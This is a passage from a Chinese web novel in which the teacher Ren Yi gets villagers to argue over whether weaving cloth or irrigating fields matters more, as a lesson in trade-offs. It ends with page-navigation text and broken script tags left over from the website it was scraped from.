他看着周启,目光里带着一丝考校的意味,也带着一丝引导:“这就叫‘取舍’。资源有限,不能什么都想要,也不能什么都得到。你得想清楚,对你来说,什么更重要。是先织布赚钱,还是先灌溉田地,让粮食增产。”
周启愣了愣,低下头,陷入了沉思。
他皱着眉头,手指在膝盖上轻轻敲击着,嘴里念念有词,显然是在认真琢磨,到底该怎么取舍。
旁边,有人小声议论起来,声音不大,却格外热闹。
“那肯定织布重要啊!赚钱的买卖,有了钱,就能买粮食,买布匹,什么都有了!”一个汉子,语气坚定,显然是更看重赚钱。
“你懂啥!”另一个老人,立马反驳,语气有些激动,“田里没收成,光有布顶个屁用!饿肚子的时候,布能当饭吃吗?肯定是灌溉田地重要,粮食才是根本!”
“那也不能不织布啊!不织布,怎么赚钱?没有钱,怎么买农具,怎么买种子?”
“那也不能不管田地啊!田地没收成,迟早得饿肚子!”
人们各执一词,争论不休,却也没大声喧哗,只是凑在一起,小声地发表着自己的看法,脸上都带着认真的神色。
任弋没插嘴,也没制止他们,就那么静静地站在台上,看着他们争论,脸上带着淡淡的笑意。
他要的,就是这个效果。让他们自己去想,自己去争论,自己去明白“取舍”的道理,比他硬生生灌输,要有用得多。
他的目光,缓缓扫过台下。
掠过那些埋头记录的年轻人,他们笔尖不停,把任弋说的每一句话、画的每一个图,都认认真真记在本子上,生怕漏了一个细节。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!
掠过那些听得入神的中年人,他们皱着眉头,时不时点头,显然是在认真琢磨任弋说的话,琢磨着水力织布机的原理,琢磨着怎么才能把这台机器做出来。
掠过那些虽然听不懂,却满脸欣慰的老人,他们看着眼前的一切,脸上带着慈祥的笑意,眼里满是对后生们的期盼。
最后,他的目光,落在了角落里的两个人身上。
那两个人,他之前没太注意。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">